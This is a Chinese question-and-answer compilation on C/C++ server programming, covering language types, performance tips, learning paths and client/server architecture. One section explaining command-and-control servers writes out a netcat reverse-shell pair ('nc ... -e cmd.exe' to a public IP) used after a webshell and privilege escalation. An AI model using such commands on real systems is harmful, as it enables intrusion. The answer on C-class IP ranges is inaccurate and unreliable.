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c高性能伺服器

發布時間:2020-11-09 01:56:38

1、c語言有網路編程有沒有人使用c做游戲伺服器

目前通用的編程語言有兩種形式:匯編語言和高級語言。

匯編語言的實質和機器語言是相同的,都是直接對硬體操作,只不過指令採用了英文縮寫的標識符,更容易識別和記憶。它同樣需要編程者將每一步具體的操作用命令的形式寫出來。匯編程序通常由三部分組成:指令、偽指令和宏指令。匯編程序的每一句指令只能對應實際操作過程中的一個很細微的動作,例如移動、自增,因此匯編源程序一般比較冗長、復雜、容易出錯,而且使用匯編語言編程需要有更多的計算機專業知識,但匯編語言的優點也是顯而易見的,用匯編語言所能完成的操作不是一般高級語言所能實現的,而且源程序經匯編生成的可執行文件不僅比較小,而且執行速度很快。

高級語言是目前絕大多數編程者的選擇。和匯編語言相比,它不但將許多相關的機器指令合成為單條指令,並且去掉了與具體操作有關但與完成工作無關的細節,例如使用堆棧、寄存器等,這樣就大大簡化了程序中的指令。同時,由於省略了很多細節,編程者也就不需要有太多的專業知識。

高級語言主要是相對於匯編語言而言,它並不是特指某一種具體的語言,而是包括了很多編程語言,如目前流行的VB、VC、FoxPro、Delphi等,這些語言的語法、命令格式都各不相同。

高級語言所編制的程序不能直接被計算機識別,必須經過轉換才能被執行,按轉換方式可將它們分為兩類:

解釋類:執行方式類似於我們日常生活中的「同聲翻譯」,應用程序源代碼一邊由相應語言的解釋器「翻譯」成目標代碼(機器語言),一邊執行,因此效率比較低,而且不能生成可獨立執行的可執行文件,應用程序不能脫離其解釋器,但這種方式比較靈活,可以動態地調整、修改應用程序。

編譯類:編譯是指在應用源程序執行之前,就將程序源代碼「翻譯」成目標代碼(機器語言),因此其目標程序可以脫離其語言環境獨立執行,使用比較方便、效率較高。但應用程序一旦需要修改,必須先修改源代碼,再重新編譯生成新的目標文件(* .OBJ)才能執行,只有目標文件而沒有源代碼,修改很不方便。現在大多數的編程語言都是編譯型的,例如Visual C++、Visual Foxpro、Delphi等。

2、求教一個方法提高C/S結構伺服器端處理數據的性能

1.遍歷列表檢查心跳包,刪除異常的socket

這一點上可以優化,
看過有文獻提到使用最小堆來處理的,
使用TimerQueueTimer也可以來判定超時。2. 個人感覺,cs系統的效率瓶頸不在使用了鎖,
在並發系統中要保證正確性是第一要務,沒有鎖是無可能的。
瓶頸大多在網路通訊及業務處理。
要是使用windows平台,可以看看IOCP。如果理解不對,也多指教

3、用C/C++開發大型高性能伺服器需要學習哪些方面的知識

第零步 C語言,推薦:《C語言程序設計:現代方法》
第一步 UNIX/Linux系統編程, 推薦《UNIX環境高級編程:第三版》《Linux/UNIX系統編程手冊》
第二步 TCP-IP詳解卷一 卷二 卷三
第四步 精研nginx源碼,再研究一下skynet,breeze之類
一步一步走下來,沒基礎的人大概需要3年,有基礎的人2年。

4、什麼是C&C伺服器

C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器

通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。

而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333

上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。

(4)c高性能伺服器擴展資料

C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。

通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。

這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。

5、這樣的C/S系統,伺服器需要什麼配置?

建議配置:XEON 3.06 900MHZ 2M CPU
內存:6-8GB
如果選擇伺服器的話;HP,其他伺服器不太理想在這個需求上.

6、C/C++做伺服器需要學習什麼樣的技術

伺服器所用到的知識:

TCP/UDP,最基本的

並發——你可以選擇使用select、poll,或者是多線程、多進程

如果你使用多線程,那麼就必須使用同步技術——信號量、互斥體、條件變數的一種或幾種,並且對於多線程技術,你還需要考慮使用進行線程分離與合並,

如果你使用了多進程,那麼同步技術就不是你需要考慮的了,你需要考慮的是進程相關的問題了,你是使用fork還是vfork,你該如何處理客戶端的請求,如何處理客戶端斷開連接後保證能夠處理完數據並且沒有僵屍進程產生,你還需要考慮高並發的問題

你發送接受數據的時候,採用何種方式,是阻塞的還是非阻塞的,還有連接超時、重傳等問題

你是選擇TCP還是UDP,如果選擇UDP你可得忙了,需要你自己去進行重傳驗證,模擬TCP的三次握手,保證數據不會丟失,保證數據的有序性

還有其他很多需要你考慮的,以上都是指在Linux下的C++,本人對windows C++不了解

推薦書目:UNIX高級環境編程,UNIX網路編程,卷一。C++只不過是你使用這些技術的方式,不管你使用C還是C++,你都可以使用從這兩本書中學習到很多有用的知識,但是不能保證你就可以寫出高質量的伺服器程序。

7、R系列伺服器和C系列有什麼不同

尊敬的用戶您好:首先非常感謝您關注我們,我們將竭誠為您服務。
您所指的R系列是側重於擴展性和卓越性價比,適用於中小企業;
而C系列則側重吞吐量和超密集型高性能,適合於大企業,C系列伺服器,比R系列支持的內存要多,內部更密集,價格也相對高一些,目前用戶不能在網上下單,只能通過高級經銷商和項目大訂單采購。C系列等於是介於R系列機架式和M系列刀片式伺服器中間。
戴爾衷心感謝您的支持,祝您生活愉快!

8、什麼是C/S(客戶機/伺服器)模式?並列舉一種基於此模式的應用。

C/S又稱Client/Server或客戶/伺服器模式。伺服器通常採用高性能的PC、工作站或小型機,並採用大型資料庫系統,如Oracle、Sybase、Informix或 SQL Server。客戶端需要安裝專用的客戶端軟體。
C/S的優點是能充分發揮客戶端PC的處理能力,很多工作可以在客戶端處理後再提交給伺服器。對應的優點就是客戶端響應速度快。缺點主要有以下幾個:

只適用於區域網。而隨著互聯網的飛速發展,移動辦公和分布式辦公越來越普及,這需要我們的系統具有擴展性。這種方式遠程訪問需要專門的技術,同時要對系統進行專門的設計來處理分布式的數據。

客戶端需要安裝專用的客戶端軟體。首先涉及到安裝的工作量,其次任何一台電腦出問題,如病毒、硬體損壞,都需要進行安裝或維護。特別是有很多分部或專賣店的情況,不是工作量的問題,而是路程的問題。還有,系統軟體升級時,每一台客戶機需要重新安裝,其維護和升級成本非常高。

對客戶端的操作系統一般也會有限制。可能適應於Win98, 但不能用於Win2000或Windows XP。或者不適用於微軟新的操作系統等等,更不用說Linux、Unix等。

比如說我們玩的游戲啊,要下載客戶端的那種,不是網頁游戲,網頁游戲屬於B/S 模式的。比如說現在的QQ音速,魔獸世界,不都要先安裝客戶端才能玩么?伺服器端更新的話,你還要下載更新包啊,這不就是典型的C/S模式么~~~~!!

9、c段伺服器什麼意思

是指網段,C類IP地址范圍是:192.168.0.0--192.168.255.255
一般私網地址。

10、在lan中對基於c\s模式的伺服器在性能方面有什麼要求

具體要求有沒有呢?

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